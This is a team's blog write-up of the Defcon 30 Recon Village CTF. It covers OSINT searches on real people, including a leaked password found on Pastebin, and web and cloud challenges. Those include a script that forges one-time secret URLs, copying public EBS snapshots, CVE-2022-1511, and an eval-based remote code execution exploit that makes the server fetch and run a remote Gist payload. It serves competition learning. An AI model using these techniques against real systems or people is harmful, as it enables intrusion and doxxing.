Defcon 30 Recon Village CTF Write-up

The write-up for challenges in the Recon Village CTF from Defcon 30.

Defcon 30 Recon Village CTF Write-up
The awards ceremony at Defcon 30.

Last week at Defcon 30, some friends and I attempted the Recon Village CTF. While spending most of Friday grinding out a CTF in a hotel room wasn't my original plan, it turned out to be a lot of fun.

After a rather late night, we ended up solving most of the challenges and got first place in the competition. This is the write-up for the CTF's challenges.

CTF Scoreboard
We're the "alligator hunters." We came up with that name because two nights ago, we ate dinner at a restaurant with alligator heads plastered over the walls.

CTF Challenges

Disclaimer: Some of these OSINT challenges involve real people. As a result, parts of this write-up will be censored to protect their privacy. This blog post is for educational purposes only, and we do not endorse the usage of these tactics to research private individuals. Please don't dox people or otherwise be a creep.

Jerlean's 54th Birthday

Jerlean was in Vegas for their 54th birthday recently. Which hotel did they stay at?

Our natural instinct was to start Googling for someone named Jerlean, but Google didn't return anything relevant. We then tried to find Jerlean on Facebook, but that didn't bear fruit either. Turns out Instagram was the key.

By querying "vegas birthday" on Instagram and scrolling down, you'll eventually bump into the following picture:

Happy birthday, Jerlean!
Next year, I bet we'll have to do TikTok searches for OSINT...

It's an ad with no textual references to Jerlean, but you can glean all of the data from the photo. If you notice the post's location, you'll see that this was posted in New York-New York.

Spammy Email Domain

On 11 August, what was the primary email domain from which spam was reported as coming from 185.129.62.62 and 107.189.28.253 (two bot IPs)?

To figure out the domains associated with the IP addresses, we looked up the addresses in a forum spam database. The first IP address had a fair bit of activity on August 11.

Forum spam results for the bot IPs
Interestingly enough, the other IP didn't have as much useful information.

If you look at the emails sent on that date, you'll notice that the most common domain seems to be hiroyuki4010.yoshito33.inwebmail.fun.

Wedding in Costa Rica

Wanting to remain anonymous online, discreetly named 'Phonenumber' from Costa Rica has a friend who works for Facebook. When did his friend get married?

Since we were searching for a person and his friends, we turned to Facebook. By querying for people named Phonenumber, you'll find an account that's based in Costa Rica.

Phonenumber's Facebook page
Phonenumber's Facebook page

Next, we look through this person's friends list to see if there are any friends who work at Facebook. There happen to be two people. One of them isn't in a relationship, but the other person is married. If you check out this person's "about" page, you'll see the date when he got married.

Phonenumber's friend
Phonenumber's friend. You can see that he works at Facebook and exposes his wedding day.

Missing Person Report

You're investigating a missing person who went missing following a party in 2019. While working through case notes you've come across the following NTIyMyBTb3V0aCBCcmFlc3dvb2QgQm91bGV2YXJkLCBIb3VzdG9u What date was the pool party?

The payload NTIyMyBTb3V0aCBCcmFlc3dvb2QgQm91bGV2YXJkLCBIb3VzdG9u attached to the CTF question is base64 encoded. If you decode it, you end up with an address in Houston, Texas. Googling the address combined with "party" and "2019" will yield a single search result in the form of a Pastebin: https://pastebin.com/BNwRBAX4

The paste contains an email detailing plans for a pool party that will happen "this Saturday." The email was sent on April 18, 2019, so you can infer that the pool party itself was held on April 20, 2019.

Party Co-host

This is a follow-up to the previous question.

There are two hosts of the party, one is Vanessa. What is the last name of the other host?

If you re-read the email from the Pastebin, you'll notice a few bits of information:

  1. The party was held in Houston, Texas.
  2. The email addresses and names of the recipients are public.
  3. The hosts are named Vanessa and Meghana.

Searching for the hosts directly on Facebook doesn't yield too many results. However, by looking up some of the email recipients (especially those with uncommon names), you'll eventually find people based in Texas. Looking through their friends list will allow you to find Vanessa. Looking through Vanessa's friends list will allow you to find Meghana.

Meghana's Facebook profile
Meghana's Facebook profile. You can find her via Vanessa's profile (or most of the other email recipients).

As a reminder, these are real people. Please respect their privacy.

Maiden Name

Callum lives in Scarborough, Toronto and works with kids. What's his wife's maiden name?

Googling up Callum with his location and profession will lead to his LinkedIn page and reveal his last name. Looking up his full name and location on Facebook will lead to his Facebook page, which also contains the profile of his wife.

Callum's Facebook profile
Callum's Facebook profile. Although his wife changed her last name, you can infer her maiden name from the URL.

However, his wife changed her last name, and her maiden name isn't in her profile. But those who are observant will notice that the Facebook URL does not update unless manually changed. Callum's wife's URL contains her maiden name.

Password Breach

This is a follow-up to the previous question.

Callum's password has been breached in connection with his primary email. What is it?

Despite finding Callum's social media profiles, we weren't able to find his email address. As a result, we enumerated potential emails. (Using Gmail to autocomplete was helpful in filtering out potential and valid emails.) It turns out that his email used the common [email protected] format.

Then, Googling the email address along with terms like "password" led to a Pastebin that contained a password dump for emails. Callum's password was included in the paste: https://pastebin.com/1LeMmy4X

Open Source

The next few challenges are all based on CryptoRama, a fictional company.

Hi, I'm Eva Hesington. Remember me from last year? I am the founder of CryptoRama. Thanks to your support we have been able to scale the business a lot. I cannot thank the open source community enough. Using Open source tools and platforms, our business has grown and our tech department is now running strong. We could not have done it without these Open Source tools and community. You can visit our website to find out more.

This one had us stumped for a while, as Cryptorama was an actual company. We went down a few rabbit holes to no avail before querying Cryptorama with Eva Hesington's name included. That led to a single search result to a different Cryptorama: https://cryptorama.cloud/

CryptoRama website
This question wasn't about open-source tools. Rather it was a pun on "opening the source."

If you checked the source of the website, you'd find the flag. It's embedded in a comment within main.min.js.

Secret Sharing

We at CryptoRama are very concerned about sharing sensitive information with the outside world and even on the inside. We use secret sharing services. But looks like someone has been manipulating our secrets application and hindering our progress. Can you please check?

The challenge mentions a secret sharing service but does not share any more details. So we need to find what service it's referring to. By looking at the certificate transparency logs for the CryptoRama website, we that there are a few valid subdomains. One of them is https://secrets.cryptorama.cloud/.

SnapPass
The secrets subdomain hosts an instance of SnapPass.

When examining the website, we see that it's running SnapPass, a secret-sharing app maintained by Pinterest. Users can write a secret to the app, and the app will generate a URL to view the secret. After the secret is viewed once, it will disappear forever.

There don't seem to be any CVEs associated with SnapPass, so perhaps the site is running a patched version with broken crypto. When looking among the forks of the repo, we see that there's a fork that's created by CryptoRama. And it also has a patch that changes the URL generation. Here's a summary of the patch:

  1. The encryption key is now the base64 encoded version of a hardcoded secret 6ardCD6XQ49FLrxY6fd7pB3DeeNmzn8Y. With the base64 encoding, the string will be NmFyZENENlhRNDlGTHJ4WTZmZDdwQjNEZWVObXpuOFk=.
  2. The secret URL has a prefix of RV (from the Redis prefix).
  3. The secret URL additionally takes in the current timestamp.

Overall, the format of the secret URL looks like this:

RV{uuid}|{timestamp}~NmFyZENENlhRNDlGTHJ4WTZmZDdwQjNEZWVObXpuOFk=
The URL format for the patched version of SnapPass.

Although we have an algorithm to generate the secret URLs, it still takes two parameters: a UUID and the timestamp. For both, it's unfeasible to guess or brute force. Therefore, we need another way to make use of the URLs. Our next step is to find a source for the UUIDs and timestamps.

Looking around CryptoRama's Github profile, we find that it has a second repository called Progress Tracker. Every minute or so, the repo updates with a new commit that changes a hash in README.md.

Progress tracker commit
Every minute or so, the repo gets a commit that updates the hash.

Notice that the hash in the file is the same format as a UUID. Also notice that every commit has an associated timestamp. If we take those two pieces of data, we have enough information to generate a URL in the SnapPass instance. From trial and error, it seems like the URL expects the timestamp to be of minute precision. If we plug in the converted timestamp and the hash, we get a valid URL.

#!/usr/bin/env python

import os
import re
import sys

# NOTE: You should run this in the root directory of the git repository.
commit = "HEAD"
if len(sys.argv) > 1:
    commit = sys.argv[-1]

# Fetch the UUID of the commit.
readme = os.popen(f"git show {commit}:README.md").read().strip()
matches = re.compile(r"[0-9a-fA-F]{32}").findall(readme)
uuid = matches[0]

# Fetch the timestamp (to minute precision) of the commit.
timestamp = os.popen(f"git show -s --date=format:'%Y%m%d%H%M00' --format=%cd {commit}").read().strip()

# Construct the secret URL.
endpoint = f"RV{uuid}|{timestamp}~NmFyZENENlhRNDlGTHJ4WTZmZDdwQjNEZWVObXpuOFk="
print(f"https://secrets.cryptorama.cloud/{endpoint}")
The script to generate the secret URL.

Every commit in the repository creates a secret that contains the flag. Since it's a one-time use URL, that's why the repository keeps adding new secrets every minute.

SnapPass flag location
The secret containing the flag. A new one is generated every minute since each secret can only be read once.

Public Server Backup

We lost access to one of our servers. Thankfully we had backups. All you have to do is find a piece (backup) of our server and make it whole by attaching it to another server. If you do this, you will have attained nirvana! Start looking at our website again.

Going back to the Cryptorama website, we notice the picture of Eva. It has a very interesting URL:

https://evahesington-resources.s3.us-west-1.amazonaws.com/images/find/me/on/gitlab/about-2.jpg
Perhaps we can find her on Gitlab.

Searching for her name on Gitlab yields an account with a single repository containing her personal website. However, more interesting is a file called account.txt that contains details of her AWS account ID and mentions an EC2 instance.

AWS Account ID: 727048636561
EC2 Instance: t3.medium
The contents of account.txt.

Since we've learned that she has an EC2 machine and we know her AWS account ID, the next step would be to see if there's any way to find details of her EC2 instance.

AWS allows you to snapshot EC2 instances onto EBS, and it's possible to have those snapshots be public. Since we know the account ID, we have the ability to find all of the public snapshots for the account. To do so, we enumerate through the AWS regions and use the command line to print out public EBS snapshots:

#!/usr/bin/env bash

regions=(
    us-east-1
    us-east-2
    us-west-1
    us-west-2
)
for i in "${regions[@]}"
do
    aws ec2 describe-snapshots --region ${i} --owner-ids 727048636561
done
How to enumerate and search for public EBS snapshots.

Most of the regions yield nothing, but in us-west-1, there's a single public snapshot:

{
    "Snapshots": [
        {
            "Description": "my-snapshot",
            "Encrypted": false,
            "OwnerId": "727048636561",
            "Progress": "100%",
            "SnapshotId": "snap-0ba9ad15da9168cb1",
            "StartTime": "2022-08-11T08:18:26.182000+00:00",
            "State": "completed",
            "VolumeId": "vol-0dfc0a8fc01803dc4",
            "VolumeSize": 8,
            "StorageTier": "standard"
        }
    ]
}
There was only one public snapshot that was found in us-west-1.

We want to inspect the contents of the snapshot. In order to do so, we need to copy the snapshot over to our own account and then create our own EC2 instance that's based on the snapshot.

aws ec2 copy-snapshot \
    --region us-east-1 \
    --description 'dc-30-recon' \
    --source-region us-west-1 \
    --destination-region us-east-1 \
    --source-snapshot-id snap-0ba9ad15da9168cb1

 aws ec2 register-image \
    --region us-east-1 \
    --name "dc-30-recon" \
    --block-device-mappings DeviceName="/dev/xvda",Ebs={SnapshotId="snap-0b03342cf2f5491dd"} \
    --root-device-name "/dev/xvda"
How to copy the snapshot into your own AWS account.

Once the image is in your account, you can create an EC2 instance, SSH into the machine, and view the flag.

Asset Management

Our junior developer Henry Lopez cannot find his assets. Can you help him please? His credentials are given below: Username: henry.lopez Password: sHTA$H@&sBjPG5

It seems like Cryptorama has an assets server. When we looked at the certificate transparency logs, we saw that https://assets.cryptorama.cloud/ was a valid subdomain. Logging in with Henry's credentials leads us to the asset management page.

That's an awfully specific version of an awfully specific app...

From poking around the app, we learn that there's very little data to be found. We also see that the site is running v5.4.3 of Snipe-IT. If you search for CVEs that are present in the running version of the app, you'll find CVE-2022-1511. It's an access control bug that was fixed in the following patch of Snipe-IT.

Because of the bug, users without proper permissions can access restricted resources. The resources don't show up as links in the app's sidebar, but they can just go to the URL directly. The proof of concept shows a normal user visiting the /hardware/requested endpoint, even though there are no permissions. By doing the same and visiting https://assets.cryptorama.cloud/hardware/requested, we can find the flag.

We should not have permission to view this page.

Control Panel RCE

Now that Henry has his assets, time to try out an application he created. https://control-panel.cryptorama.cloud/

If you visit the website, you'll find a pretty unassuming app. It contains two buttons, one that shows the current working directory, and one that prints the current timestamp.

CTF veterans could smell the RCE from a mile away...

If you inspect the network requests that happen from clicking the buttons, you'll notice that there's a request to /cmd that with form data. The payload has a single key, filename , and the value is either first or second depending on which button you clicked.

# If you clicked "Calculate 1"
curl 'https://control-panel.cryptorama.cloud/cmd' --data-raw 'filename=first'

# If you clicked "Calculate 2"
curl 'https://control-panel.cryptorama.cloud/cmd' --data-raw 'filename=second'
Equivalent curl commands to the network requests from the vulnerable app.

We then try to break the form by sending a request without the filename key. It causes the request to fail, because of a BadRequestKeyError. From looking at the ensuing HTML, we learn that...

  • It's running a development build of Flask (since there's a stack trace).
  • The /cmd endpoint requires a value for filename.
If you don't include a filename in the form, you'll cause an error in the server. That reveals details about the backend implementation.

Scrolling down the stack trace, you'll find a snippet of the actual application code.

       raise Exception("Missing files")
 
 
@app.route("/cmd", methods=['POST'])
def cmd():
    filename = request.form['filename']
    try:
        if "http" not in str(urlparse(filename).scheme):
            host = request.url[:-4]
            filename = host+"/static/" + filename
            result = eval(requests.get(filename).text)
The actual application code for the server. Notice how it downloads and runs eval on a file.

From reading the code, it seems to be...

  1. Reading the value at filename.
  2. Constructing a URL based on that value.
  3. Sending an HTTP request to get the contents of that URL.
  4. Running the contents of the HTTP request via eval.
  5. Sending the return value of the eval as part of the HTTP response.

Though the snippet only covers the logic for local files, we suspected that there must be similar logic for remote files. We have no control of the local file content, but if we hosted our own files and had the server download those, we could in theory do arbitrary code execution.

The fastest way I think of to host files on the public Internet was to run a simple HTTP server and expose it via ngrok. So I created a directory with some test files and spun up an ngrok tunnel.

echo "os.popen('ls').read()" > ls.py
echo "os.popen('cat flag.txt').read()" > flag.py
python -m http.server 42069
ngrok http 42069
Using SimpleHTTPServer and ngrok was the fastest way to modify and host files on the public Internet.

Then if you include the entire URL of your remote file as the value in the filename key, the server will execute the arbitrary code that you wrote. Listing the contents of the directory showed that there was a file called flag.txt. Then you could command the server to print out the contents of the flag.

curl 'https://control-panel.cryptorama.cloud/cmd' \
    --data-raw 'filename=https://gist.githubusercontent.com/MrPickles/626bedeecdf602123a515e7261ca1c38/raw/79cf129933eec5843f6deafd75e724b03e7ff21e/dc30_recon_village_flag.py'
This is an example command to fetch the flag. For convenience, I created a Gist with the proper payload.

Doug's Golfing Experience

Can you locate this field on the outskirts of London in the image attached below. Once you do, what date did Doug leave a review for this place?
We were given this image at the start of the challenge.

This picture seems to have been taken from a plane. The field is also quite distinct, which makes it easy to confirm whether you've found the correct location.

If you've ever flown in a plane before, you'll notice that the picture was taken at a relatively low altitude. A low altitude means that the plane is either landing or departing, which also implies that the plane is close to the airport. The field itself appears to be a golf course. If you search for golf courses near London airports on Google Maps, you'll eventually find a place called Hounslow Golf Park next to Heathrow Airport.

Google Maps search near Heathrow Airport
Searching for "golf" near Heathrow airport will uncover Hounslow Golf Park.

Taking a look at the golf park's website confirms that it's the same field from the photo. Scrolling through the reviews, you'll find a review from Doug that was posted on July 16th.

Hounslow Golf Park's website
Scrolling through the golf park's website will confirm that it was in the original picture.

Meet the Team

Behind every CTF, there are names and faces that made it all a reality. Thanks to the organizers at Recon Village for creating the challenges in this CTF. It's also important to remember that solving this CTF was a team effort. Here are your alligator hunters:

Defcon collage
Clockwise, starting from the top left: Christian and Chris at dinner; Andrew and Jeremy breaking out of restraints at the Rogues Village; the origin of the alligator hunters; Jeremy and Chris after Defcon's closing ceremony.

Hope you enjoyed reading this write-up! If you have any questions or feedback, feel free to reach out and share your thoughts.